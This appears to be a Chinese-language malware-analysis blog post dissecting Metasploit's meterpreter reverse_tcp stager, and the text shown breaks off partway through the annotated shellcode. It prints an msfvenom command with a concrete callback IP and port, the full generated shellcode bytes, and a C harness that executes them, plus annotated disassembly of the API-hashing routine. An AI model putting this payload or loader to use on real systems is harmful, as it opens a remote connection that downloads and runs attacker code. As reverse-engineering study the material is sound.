深入理解meterpreter原理

  1. 0x01 调试环境
  2. 0x03 shellcode1 (reverse tcp stager shellcode)
    1. 1. 动态获取并调用Windows API
    2. 2. reverse tcp
    3. 3. 完整的shellcode
  3. 0x02 shellcode2 (meterpreter stage shellcode)
    1. 1. 入口代码(bootstrap asm)分析
    2. 2. reflective dll injection
  4. 0x04 stageless meterpreter
  5. 0x05 cobaltstrike beacon.dll
  6. 0x06 meterpreter yara检测
  7. 0x07 参考资料

author: Dlive

meterpreter是metasploit中最重要的功能之一,它为攻击者提供了强大的后渗透测试功能

meterpreter提供了多种可选的payload,其中的shellcode短小精悍并且功能强大

本文将通过对windows/meterpreter/reverse_tcp shellcode的调试分析

带大家窥探meterpreter的加载原理

0x01 调试环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
➜ ~ msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.95.115.1 LPORT=8080 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x2f\x5f\x73\x01"
"\x68\x02\x00\x1f\x90\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

调试shellcode的时候可以使用scdbg(https://www.freebuf.com/sectool/16320.html)工具帮助调试,然后在shellcode第一字节加入0xCC即可断下
本文直接写了一段代码来调试这段shellcode,注意编译的时候去掉ASLR和DEP,调试工具使用WinDbg x86,因为WinDbg可以查看Windows内置的一些结构体

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>

char buf[] =
"your shellcode";

int main()
{

printf("run...");
__asm {
lea eax, buf
call eax
}
return 0;

}

VS编译选项:

0x03 shellcode1 (reverse tcp stager shellcode)

带注释的完整shellcode可以参考:https://gist.github.com/Dliv3/e9f0200c00202cc4a645e58d198e4b6c

metasploit的许多攻击和工作流程都将有效载荷分为多个阶段,第一阶段称为stager。
stager是一个非常小的程序,通过汇编编写,连接msf并下载下一阶段的shellcode(也被称为stage)并执行

可以使用pwntools对第一阶段shellcode/stager shellcode进行反汇编

1
2
from pwn import *
print disasm("your shellcode", arch="i386")

msf windows/meterpreter/reverse_tcp 第一阶段的shellcode可分为两部分 (完整的带注释版shellcode见本节第三小节)
第一部分(地址0x6-0x86, 我们后文称为find_and_call_windows_api)提供了根据模块名和函数名的Hash查找并调用Windows API的功能
第二部分(地址0x88-0x265,我们后文称为reverse_tcp)通过第一部分shellcode提供的功能实现了reverse_tcp的功能,与服务端建立连接,并加载第二阶段shellcode

在shellcode开始的时候首先进行了fd的清零操作,之后通过call 0x88进入主要逻辑(reverse_tcp)

1
2
3
4
5
6
0:   fc                      cld                                  ; clear DF, DF = 0
; 注意先将标志DF清零。因为当shellcode 是利用异常处理
; 机制而植入的时候,往往会产生标志位的变化,使shellcode 中的字串处理方向发生变化而产生
; 错误(如指令LODSD)。如果您在堆溢出利用中发现原本身经百战的shellcode 在运行时出错,
; 很可能就是这个原因。总之,一个字节的指令可以大大增加shellcode 的通用性。
1: e8 82 00 00 00 call 0x88

1. 动态获取并调用Windows API

我们最常见的shellcode的写法是先定位kernel32!GetProcAddress函数地址,然后通过GetProcAddress找到LoadLibraryA,然后就可以通过LoadLibraryA和GetProcAddress结合调用各种函数

但是GetProcAddress需要函数名作为函数参数,过多的函数名会增加shellcode的长度,为了缩短长度,一种常用的做法是计算模块名和函数名Hash,msf的shellcode使用的就是这种方法

使用WinDbg动态调试一下我们即可了解这段汇编的逻辑

在main函数入口下段点

1
2
bp 0x00401000
g

reverse_tcp中的第一个函数调用代码如下,这部分通过call eax调用了find_and_call_windows_api,我们从这里开始调试shellcode的第一部分find_and_call_windows_api

1
2
3
4
5
6
7
8
; --------------------- LoadLibraryA() ---------------------
88: 5d pop ebp ; ebp = shellcode + 0x6, get shellcode's address
89: 68 33 32 00 00 push 0x3233
8e: 68 77 73 32 5f push 0x5f327377 ; ASCII "ws2_32"
93: 54 push esp ; push LoadLibraryA的第一个参数
94: 68 4c 77 26 07 push 0x726774c ; hash kernel32.dll!LoadLibraryA
99: 89 e8 mov eax,ebp
9b: ff d0 call eax ; call shellcode + 0x6

从上面的汇编可以看出,find_and_call_windows_api共接收两个参数,第一个参数为0x726774c,第二个参数为栈上的字符串ws2_32.dll

通过之后对find_and_call_windows_api代码的分析,我们可以知道第一部分shellcode实现了根据模块和API名称Hash来查找Windows API并调用它的功能
这段函数接收的第一个参数为模块名和API名的Hash值,之后的参数依次为该API的参数

下面详细分析find_and_call_windows_api中的代码

1
2
9:   31 c0                   xor    eax,eax                       ; eax = 0
b: 64 8b 50 30 mov edx,DWORD PTR fs:[eax+0x30] ; edx = address of PEB

代码首先获取了线程环境块TEB和进程环境块PEB的地址

x86的Windows上,fs寄存器中存储的是线程TEB的地址,代码通过fs:[0x30]获取当前进程的PEB

(在x64 Windows上,gs:[0x30]指向了线程TEB,gs:[0x60]指向了PEB)

可以看到TEB偏移0x30的地方存放着PEB 0x7ffde000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0:000> dt -b nt!_TEB 
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x000 ExceptionList : Ptr32
+0x004 StackBase : Ptr32
+0x008 StackLimit : Ptr32
+0x00c SubSystemTib : Ptr32
+0x010 FiberData : Ptr32
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32
+0x018 Self : Ptr32
+0x01c EnvironmentPointer : Ptr32
+0x020 ClientId : _CLIENT_ID
+0x000 UniqueProcess : Ptr32
+0x004 UniqueThread : Ptr32
+0x028 ActiveRpcHandle : Ptr32
+0x02c ThreadLocalStoragePointer : Ptr32
+0x030 ProcessEnvironmentBlock : Ptr32
+0x034 LastErrorValue : Uint4B
0:000> !teb
TEB at 7ffdf000
ExceptionList: 0012ff78
StackBase: 00130000
StackLimit: 0012e000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 7ffdf000
EnvironmentPointer: 00000000
ClientId: 00000f20 . 00000bd0
RpcHandle: 00000000
Tls Storage: 7ffdf02c
PEB Address: 7ffde000
LastErrorValue: 0
LastStatusValue: c0000139
Count Owned Locks: 0
HardErrorMode: 0

1
f:   8b 52 0c                mov    edx,DWORD PTR [edx+0xc]       ; edx = address of PEB->_PEB_LDR_DATA

PEB 0xC偏移的地方存放了_PEB_LDR_DATA结构体的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:000> dt -b nt!_PEB 0x7ffde000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0 ''
+0x003 ImageUsesLargePages : 0y0
+0x003 IsProtectedProcess : 0y0
+0x003 IsLegacyProcess : 0y0
+0x003 IsImageDynamicallyRelocated : 0y0
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 SpareBits : 0y000
+0x004 Mutant : 0xffffffff
+0x008 ImageBaseAddress : 0x00400000
+0x00c Ldr : 0x775f7880
+0x010 ProcessParameters : 0x005f1450
+0x014 SubSystemData : (null)
+0x018 ProcessHeap : 0x005f0000

_PEB_LDR_DATA结构体中存储了当前进程加载的模块信息,其结构如下
其中InLoadOrderModuleList、InMemoryOrderModuleList和InInitializationOrderModuleList是三个链表,其中存储的元素内容相同,均存储了当前进行的模块信息,但是存储顺序不同,分别是按加载顺序存储、按内存顺序存储和按初始化顺序存储

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList; //按加载顺序
LIST_ENTRY InMemoryOrderModuleList; //按内存顺序
LIST_ENTRY InInitializationOrderModuleList; //按初始化顺序
} PEB_LDR_DATA,*PPEB_LDR_DATA;
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink; // 指向下一个节点
struct _LIST_ENTRY *Blink; // 指向前一个节点
} LIST_ENTRY, *PLIST_ENTRY;

1
12:   8b 52 14                mov    edx,DWORD PTR [edx+0x14]      ; edx = (_LDR_DATA_TABLE_ENTRY)(PEB->PEB_LDR_DATA->InMemoryOrderModuleList->Flink)

_PEB_LDR_DATA 0x14偏移的位置存放了InMemoryOrderModuleList链表的第一个节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:000> dt -b nt!_PEB_LDR_DATA 0x775f7880
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x5f1e40 - 0x5f2b98 ]
+0x000 Flink : 0x005f1e40
+0x004 Blink : 0x005f2b98
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x5f1e48 - 0x5f2ba0 ]
+0x000 Flink : 0x005f1e48
+0x004 Blink : 0x005f2ba0
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x5f1ee0 - 0x5f2ba8 ]
+0x000 Flink : 0x005f1ee0
+0x004 Blink : 0x005f2ba8
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)

链表节点的第一个元素Flink存放了下一节点中InMemoryOrderLinks位置的地址

_LDR_DATA_TABLE_ENTRY的定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

1
2
15:   8b 72 28                mov    esi,DWORD PTR [edx+0x28]      ; ((_UNICODE_STRING)BaseDllName)->Buffer 模块名
18: 0f b7 4a 26 movzx ecx,WORD PTR [edx+0x26] ; ((_UNICODE_STRING)BaseDllName)->MaximumLength (Buffer长度)

_LDR_DATA_TABLE_ENTRY的0x28偏移存放了该节点代表的模块名称,如下图的shellcode2.exe
0x26偏移存放了该节点存放的模块名称的长度(包括结尾的\x00\x00),模块名称以unicode形式存放,长度为ascii字符串的两倍

1
2
3
4
5
6
7
0:000> dt -b nt!_LDR_DATA_TABLE_ENTRY 0x005f1e48-0x8 # 0x005f1e48-0x8为(_LDR_DATA_TABLE_ENTRY)(InMemoryOrderModuleList->Flink - 0x8), 0x005f1e48为InMemoryOrderLinks的地址
ntdll!_LDR_DATA_TABLE_ENTRY
......
+0x02c BaseDllName : _UNICODE_STRING "shellcode2.exe"
+0x000 Length : 0x1c
+0x002 MaximumLength : 0x1e
+0x004 Buffer : 0x005f1ca8 "shellcode2.exe"

在获取到模块名称之后,开始计算模块名的hash值

1
2
3
4
5
6
7
8
9
10
11
1c:   31 ff                   xor    edi,edi                       ; edi = 0
1e: ac lods al,BYTE PTR ds:[esi] ; 将模块名的第一个字节取出放入al (lods 取字符串元素指令), esi + 1 (该指令会受到df标志寄存器值的影响)
1f: 3c 61 cmp al,0x61 ; 判断字母范围去掉模块名是大写还是小写
21: 7c 02 jl 0x25
23: 2c 20 sub al,0x20 ; al = al - 0x20, 将字母转换为大写
25: c1 cf 0d ror edi,0xd ; edi = edi >> 13
28: 01 c7 add edi,eax ; edi = edi + al
2a: e2 f2 loop 0x1e ; hash算法计算模块名hash
; edi = 模块名hash值
2c: 52 push edx ; 保存当前_LDR_DATA_TABLE_ENTRY结构体的指针
2d: 57 push edi ; 保存模块hash值

计算得到的hash值保存在栈中,edx中存放了当前_LDR_DATA_TABLE_ENTRY结构体的指针
之后便开始计算模块中的导出函数的函数名hash

1
2e:   8b 52 10                mov    edx,DWORD PTR [edx+0x10]      ; edx = _LDR_DATA_TABLE_ENTRY->DllBase(PE加载基址)

_LDR_DATA_TABLE_ENTRY偏移0x10的位置为DllBase,存储了PE文件的加载基址,PE文件结构头部为_IMAGE_DOS_HEADER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:000> dt nt!_IMAGE_DOS_HEADER 0x400000
ntdll!_IMAGE_DOS_HEADER
+0x000 e_magic : 0x5a4d
+0x002 e_cblp : 0x90
+0x004 e_cp : 3
+0x006 e_crlc : 0
+0x008 e_cparhdr : 4
+0x00a e_minalloc : 0
+0x00c e_maxalloc : 0xffff
+0x00e e_ss : 0
+0x010 e_sp : 0xb8
+0x012 e_csum : 0
+0x014 e_ip : 0
+0x016 e_cs : 0
+0x018 e_lfarlc : 0x40
+0x01a e_ovno : 0
+0x01c e_res : [4] 0
+0x024 e_oemid : 0
+0x026 e_oeminfo : 0
+0x028 e_res2 : [10] 0
+0x03c e_lfanew : 0n240

1
31:   8b 4a 3c                mov    ecx,DWORD PTR [edx+0x3c]      ; ecx = IMAGE_NT_HEADERS 相对偏移

_IMAGE_DOS_HEADER偏移0x3c的位置e_lfanew存放着_IMAGE_NT_HEADERS的RVA,ecx+edx的值是_IMAGE_NT_HEADERS的VA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
0:000> dt -b ntdll!_IMAGE_NT_HEADERS ecx+edx
+0x000 Signature : 0x4550
+0x004 FileHeader : _IMAGE_FILE_HEADER
+0x000 Machine : 0x14c
+0x002 NumberOfSections : 4
+0x004 TimeDateStamp : 0x5c27792d
+0x008 PointerToSymbolTable : 0
+0x00c NumberOfSymbols : 0
+0x010 SizeOfOptionalHeader : 0xe0
+0x012 Characteristics : 0x103
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER
+0x000 Magic : 0x10b
+0x002 MajorLinkerVersion : 0xb ''
+0x003 MinorLinkerVersion : 0 ''
+0x004 SizeOfCode : 0xa00
+0x008 SizeOfInitializedData : 0xe00
+0x00c SizeOfUninitializedData : 0
+0x010 AddressOfEntryPoint : 0x1291
+0x014 BaseOfCode : 0x1000
+0x018 BaseOfData : 0x2000
+0x01c ImageBase : 0x400000
+0x020 SectionAlignment : 0x1000
+0x024 FileAlignment : 0x200
+0x028 MajorOperatingSystemVersion : 5
+0x02a MinorOperatingSystemVersion : 1
+0x02c MajorImageVersion : 0
+0x02e MinorImageVersion : 0
+0x030 MajorSubsystemVersion : 5
+0x032 MinorSubsystemVersion : 1
+0x034 Win32VersionValue : 0
+0x038 SizeOfImage : 0x5000
+0x03c SizeOfHeaders : 0x400
+0x040 CheckSum : 0
+0x044 Subsystem : 3
+0x046 DllCharacteristics : 0x8000
+0x048 SizeOfStackReserve : 0x100000
+0x04c SizeOfStackCommit : 0x1000
+0x050 SizeOfHeapReserve : 0x100000
+0x054 SizeOfHeapCommit : 0x1000
+0x058 LoaderFlags : 0
+0x05c NumberOfRvaAndSizes : 0x10
+0x060 DataDirectory :
[00] _IMAGE_DATA_DIRECTORY
+0x000 VirtualAddress : 0
+0x004 Size : 0
1
2
3
4
5
34:   8b 4c 11 78             mov    ecx,DWORD PTR [ecx+edx*1+0x78]; dt -b ntdll!_IMAGE_NT_HEADERS ecx+edx
; 偏移0x78的位置为 DataDirectory[0] =IMAGE_EXPORT_DIRECTORY相对偏移
38: e3 48 jecxz 0x82 ; jump if ecx == 0 , ecx == 0表示没有导出表,则edx指向下一个_LDR_DATA_TABLE_ENTRY
3a: 01 d1 add ecx,edx ; ecx = IMAGE_EXPORT_DIRECTORY绝对地址
3c: 51 push ecx ; 保存IMAGE_EXPORT_DIRECTORY的绝对地址

_IMAGE_NT_HEADERS偏移0x78的位置存放了IMAGE_EXPORT_DIRECTORY相对偏移,之后再加上PE基址得到IMAGE_EXPORT_DIRECTORY的绝对地址

_IMAGE_EXPORT_DIRECTORY的定义如下(该结构体在WinDbg中没有定义)

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base; // ordinal base,起始序号,通常为1
DWORD NumberOfFunctions; // 实际Export函数的个数
DWORD NumberOfNames; // Export函数中具名的函数个数
DWORD AddressOfFunctions; // address of functions start address array
DWORD AddressOfNames; // address of funcion name string array
DWORD AddressOfNameOrdinals; // address of ordinal(序号) array
} IMAGE_EXPORT_DIRECTORYM, *pIMAGE_EXPORT_DIRECTORY;

从_IMAGE_EXPORT_DIRECTORY中获取导出函数名称的数组和数组中元素的个数

1
2
3
3d:   8b 59 20                mov    ebx,DWORD PTR [ecx+0x20]      ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNames(address of funcion name string array) 相当于模块加载基址的偏移
40: 01 d3 add ebx,edx ; ebx = address of function name string array 的绝对地址
42: 8b 49 18 mov ecx,DWORD PTR [ecx+0x18] ; ecx = IMAGE_EXPORT_DIRECTORY->NumberOfNames 导出表中函数的个数

接下来遍历并计算导出函数名称的hash,并与当前模块hash相加得到最终的hash
将这个hash值与find_and_call_windows_api的调用者传递进来的第一个参数(如kernel32.dll!LoadLibraryA对应的hash为0x726774c)对比看是否相同
如果不同则继续遍历函数名和其他模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
45:   e3 3a                   jecxz  0x81                          ; 遍历完function name之后(ecx=0)切换到下一个模块
47: 49 dec ecx ; 从后往前遍历
48: 8b 34 8b mov esi,DWORD PTR [ebx+ecx*4] ; 某个函数名称的地址相对于模块基址的偏移
4b: 01 d6 add esi,edx ; esi = 导出函数名称的绝对地址
4d: 31 ff xor edi,edi ; edi = 0
4f: ac lods al,BYTE PTR ds:[esi] ; 将函数名的第一个字节取出放入al, esi + 1
50: c1 cf 0d ror edi,0xd ; edi = edi >> 13
53: 01 c7 add edi,eax ; edi = edi + eax
55: 38 e0 cmp al,ah ; if al != 0
57: 75 f6 jne 0x4f ; jmp 0x4f
; edi = 函数名hash
59: 03 7d f8 add edi,DWORD PTR [ebp-0x8] ; edi = 函数名hash + 当前模块hash
5c: 3b 7d 24 cmp edi,DWORD PTR [ebp+0x24] ; 与call 0x6时push的hash是否相同
5f: 75 e4 jne 0x45 ; 如果不同,继续遍历导出函数名称并计算Hash

如果计算出的hash与要找的windows api的hash相同,则继续执行如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
61:   58                      pop    eax                           ; eax = IMAGE_EXPORT_DIRECTORY绝对地址
62: 8b 58 24 mov ebx,DWORD PTR [eax+0x24] ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals 相对地址
65: 01 d3 add ebx,edx ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals 绝对地址
67: 66 8b 0c 4b mov cx,WORD PTR [ebx+ecx*2] ; export-ordinal-table 一个编号占两个字节 https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#export-ordinal-table
; cx = 要寻找的函数编号
6b: 8b 58 1c mov ebx,DWORD PTR [eax+0x1c] ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfFunctions 相对地址
6e: 01 d3 add ebx,edx ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfFunctions 绝对地址
70: 8b 04 8b mov eax,DWORD PTR [ebx+ecx*4] ; eax = 要寻找的函数的相对地址
73: 01 d0 add eax,edx ; eax = 要寻找的函数的绝对地址
75: 89 44 24 24 mov DWORD PTR [esp+0x24],eax ; 修改掉pushad压到栈里的eax值,在popad的时候就可以直接令eax=要寻找的函数的绝对地址
79: 5b pop ebx ; 恢复栈平衡
7a: 5b pop ebx ; 恢复栈平衡
7b: 61 popa ; 恢复寄存器状态
; eax = 要寻找的函数的绝对地址

通过之前的循环找到对应hash的windows api的名字,ecx中存储的是该windows api名字在IMAGE_EXPORT_DIRECTORY->AddressOfNames中的位置
ordinal=IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals[ecx]为要寻找的函数编号
IMAGE_EXPORT_DIRECTORY->AddressOfFunctions[ordinal]为要寻找的函数RVA

(这里涉及一个ordinalbase的问题,不过按上面的算法即可:https://stackoverflow.com/questions/5653316/pe-export-directory-tables-ordinalbase-field-ignored)

找到函数地址后,调整栈布局为函数调用时应有的布局,然后调用该函数

1
2
3
4
7c:   59                      pop    ecx                           ; pop ret addr
7d: 5a pop edx ; pop hash
7e: 51 push ecx ; push ret addr
7f: ff e0 jmp eax ; call api 调用函数

我们可以在reverse_tcp中的LoadLibraryA(“ws2_32”)的下一条指令下断点,然后查看函数返回值

可以看到成功调用了LoadLibraryA并返回了ws2_32.dll模块的地址,即find_and_call_windows_api执行成功

总结一下,find_and_call_windows_api代码的逻辑:

  • 首先通过段选择符FS在内存中找到当前的线程环境块TEB地址

  • TEB中偏移位置为0x30的地方存放着指向进程环境块PEB的指针

  • PEB中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息

  • PEB_LDR_DATA结构体偏移位置为0x14的地方存放着指向模块链表的头指针InMemoryOrderModuleList

  • 遍历链表中_LDR_DATA_TABLE_ENTRY结构体,该结构体存放着模块信息,拿到模块名和模块加载基址

  • 解析PE结构,寻找模块的导出表EAT,进而找到导出函数名

  • 遍历模块中的导出函数名,通过模块名和导出函数计算hash,与要寻找的api hash进行对比

  • 如果找到了目标api,则进行调用

2. reverse tcp

理解了find_and_call_windows_api的代码,reverse_tcp这部分就变得非常简单了,就是利用获取到的windows api实现一个反向shell

reverse_tcp阶段的预定义好的各种函数的hash值和hash算法都可以从metasploit源码中找到
https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
collisions = [ ( 0x006B8029, "ws2_32.dll!WSAStartup" ),
( 0xE0DF0FEA, "ws2_32.dll!WSASocketA" ),
( 0x6737DBC2, "ws2_32.dll!bind" ),
( 0xFF38E9B7, "ws2_32.dll!listen" ),
( 0xE13BEC74, "ws2_32.dll!accept" ),
( 0x614D6E75, "ws2_32.dll!closesocket" ),
( 0x6174A599, "ws2_32.dll!connect" ),
( 0x5FC8D902, "ws2_32.dll!recv" ),
( 0x5F38EBC2, "ws2_32.dll!send" ),
( 0x5BAE572D, "kernel32.dll!WriteFile" ),
( 0x4FDAF6DA, "kernel32.dll!CreateFileA" ),
( 0x13DD2ED7, "kernel32.dll!DeleteFileA" ),
( 0xE449F330, "kernel32.dll!GetTempPathA" ),
( 0x528796C6, "kernel32.dll!CloseHandle" ),
( 0x863FCC79, "kernel32.dll!CreateProcessA" ),
( 0xE553A458, "kernel32.dll!VirtualAlloc" ),
( 0x300F2F0B, "kernel32.dll!VirtualFree" ),
( 0x0726774C, "kernel32.dll!LoadLibraryA" ),
( 0x7802F749, "kernel32.dll!GetProcAddress" ),
( 0x601D8708, "kernel32.dll!WaitForSingleObject" ),
( 0x876F8B31, "kernel32.dll!WinExec" ),
( 0x9DBD95A6, "kernel32.dll!GetVersion" ),
( 0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter" ),
( 0x56A2B5F0, "kernel32.dll!ExitProcess" ),
( 0x0A2A1DE0, "kernel32.dll!ExitThread" ),
( 0x6F721347, "ntdll.dll!RtlExitUserThread" ),
( 0x23E38427, "advapi32.dll!RevertToSelf" )
]

代码从服务端接收下一阶段shellcode,写入VirtualAlloc申请的内存并执行

LoadLibraryA(“ws2_32”)->WSAStartup->WSASocketA->connect->recv 4字节->VirtualAlloc->recv->exec shellcode

具体代码即注释可以看本节的第三小节

有一点需要注意的是,reverse_tcp中创建的SOCKET,被存放在edi中给下一阶段的shellcode使用

3. 完整的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
   0:   fc                      cld                                  ; clear DF, DF = 0
; 注意先将标志DF清零。因为当shellcode 是利用异常处理
; 机制而植入的时候,往往会产生标志位的变化,使shellcode 中的字串处理方向发生变化而产生
; 错误(如指令LODSD)。如果您在堆溢出利用中发现原本身经百战的shellcode 在运行时出错,
; 很可能就是这个原因。总之,一个字节的指令可以大大增加shellcode 的通用性。
1: e8 82 00 00 00 call 0x88

; --------------------- find and call API according to hash(module_name, api_name) ---------------------
; arg0: hash of module_name + api_name
; arg1: api's arg0
; arg2: api's arg1
; ......
find_and_call_windows_api:
6: 60 pusha
7: 89 e5 mov ebp,esp ; 开辟栈空间
9: 31 c0 xor eax,eax ; eax = 0
b: 64 8b 50 30 mov edx,DWORD PTR fs:[eax+0x30] ; edx = address of PEB
f: 8b 52 0c mov edx,DWORD PTR [edx+0xc] ; edx = address of PEB->PEB_LDR_DATA
12: 8b 52 14 mov edx,DWORD PTR [edx+0x14] ; edx = PEB->PEB_LDR_DATA->InMemoryOrderModuleList->Flink (指向第一个_LDR_DATA_TABLE_ENTRY结构体的InMemoryOrderLinks)
15: 8b 72 28 mov esi,DWORD PTR [edx+0x28] ; ((_UNICODE_STRING)BaseDllName)->Buffer 模块名
18: 0f b7 4a 26 movzx ecx,WORD PTR [edx+0x26] ; ((_UNICODE_STRING)BaseDllName)->MaximumLength (Buffer长度)
1c: 31 ff xor edi,edi ; edi = 0
1e: ac lods al,BYTE PTR ds:[esi] ; 将模块名的第一个字节取出放入al (lods 取字符串元素指令), esi + 1
1f: 3c 61 cmp al,0x61 ; 判断字母范围去掉模块名是大写还是小写
21: 7c 02 jl 0x25
23: 2c 20 sub al,0x20 ; al = al - 0x20, 将字母转换为大写
25: c1 cf 0d ror edi,0xd ; edi = edi >> 13
28: 01 c7 add edi,eax ; edi = edi + al
2a: e2 f2 loop 0x1e ; Hash算法计算模块名hash
; edi = 模块名hash值
